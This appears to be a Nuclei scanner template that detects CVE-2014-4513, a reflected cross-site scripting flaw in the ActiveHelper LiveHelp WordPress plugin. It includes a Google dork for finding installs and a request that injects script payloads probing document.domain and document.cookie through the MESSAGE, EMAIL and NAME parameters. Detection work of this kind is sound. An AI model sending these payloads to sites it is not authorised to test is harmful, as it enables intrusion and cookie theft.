id: CVE-2014-4513

info:
  name: ActiveHelper LiveHelp Server 3.1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in server/offline.php in the ActiveHelper LiveHelp Live Chat plugin 3.1.0 and earlier for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) MESSAGE, (2) EMAIL, or (3) NAME parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to a patched version of ActiveHelper LiveHelp Server or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4513
    - http://codevigilant.com/disclosure/wp-plugin-activehelper-livehelp-a3-cross-site-scripting-xss
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2014-4513
    cwe-id: CWE-79
    epss-score: 0.04573
    epss-percentile: 0.90675
    cpe: cpe:2.3:a:activehelper:activehelper_livehelp_live_chat:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: activehelper
    product: "activehelper_livehelp_live_chat"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/activehelper-livehelp\""
  tags: cve2014,cve,wordpress,xss,wp-plugin,activehelper,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/activehelper-livehelp/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'ActiveHelper LiveHelp Live Chat'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</textarea></script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402207ccdacdd2ab5e9d87cefeb8cf730c3bff0bd2d6a52845a171f15c28f90fd9bb102207e0585a1a8babba9b63450685f674004ab8b1909cf9785871a85f90f00abf55c:922c64590222798bb761d5b6d8e72950